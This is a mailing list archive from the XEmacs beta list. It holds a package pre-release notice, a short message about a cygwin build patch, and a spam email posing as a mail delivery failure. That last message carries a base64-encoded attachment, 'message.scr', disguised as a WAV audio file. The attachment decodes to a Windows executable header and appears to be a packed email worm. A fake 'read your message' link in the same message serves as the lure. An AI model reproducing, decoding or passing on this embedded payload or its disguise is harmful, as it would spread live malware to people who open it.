/ftp.xemacs.org:/pub/xemacs/beta/experimental/packages/ 2) Unpack them to: [1] /usr/local/lib/xemacs/xemacs-packages/ 3) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.[245].x): - ---------------------------------------------- 1) Tools -> Packages -> Add Download Site -> Pre-Releases 2) Tools -> Packages -> List and Install 3) Select the packages you wish to install (there are brief instructions at the bottom of the packages buffer). 4) Packages -> Install/Remove Selected 5) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.1.14): - ------------------------------------------- 1) Options -> Manage Packages -> Add Download Site -> Pre-Releases 2) Options -> Manage Packages -> List and Install 3 - 5) As per XEmacs 21.[245].x. norbert - XEmacs Package Release Manager. Footnotes: [1] Note: Mule packages should be installed into: /usr/local/lib/xemacs/mule-packages/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQFAi5Zzgu3ywdHdhM0RAue/AKDG56+mbUymDQRZdWichkmk5QintwCgu8+k 9hSd6sGWsm6XhnHpjoJHMTw= =gs19 -----END PGP SIGNATURE----- From xemacs-beta-admin@xemacs.org Sun Apr 25 07:09:26 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3PB91s03132; Sun, 25 Apr 2004 07:09:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3PB8vb03085 for xemacs-beta-mailman@xemacs.org; Sun, 25 Apr 2004 07:08:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3PB8rU03024 for turnbull@tux.org; Sun, 25 Apr 2004 07:08:53 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3PB8qs03018 for ; Sun, 25 Apr 2004 07:08:52 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BHhVD-00052t-00 for ; Sun, 25 Apr 2004 13:08:51 +0200 Received: from p508d1e25.dip.t-dialin.net ([80.141.30.37]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 25 Apr 2004 13:08:51 +0200 Received: from sven by p508d1e25.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 25 Apr 2004 13:08:51 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Date: Sun, 25 Apr 2004 13:08:42 +0200 Lines: 10 Message-ID: References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> <20040418185534.GA98278@dspnet.fr.eu.org> <3c71orjx.fsf@smtpmail.t-online.de> <20040419003408.GA23902@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d1e25.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:2HIuPEfxKTnmHyqMsWtQplVn8kc= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello Olivier, i applied your patch some time ago and got xemacs building under cygwin again. I modified you patch a little bit as it was not completly working with it and submitted it to xemacs patches. As i got not response to that, i wanted to ask you to review and apply that little patch. Best regards Sven Grundmann From mompark1@aol.com Sun Apr 25 14:21:52 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3PILgs08471 for ; Sun, 25 Apr 2004 14:21:42 -0400 Message-Id: <200404251821.i3PILgs08471@gwyn.tux.org> From: mompark1@aol.com To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Sun, 25 Apr 2004 14:17:43 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-8123
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re> 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 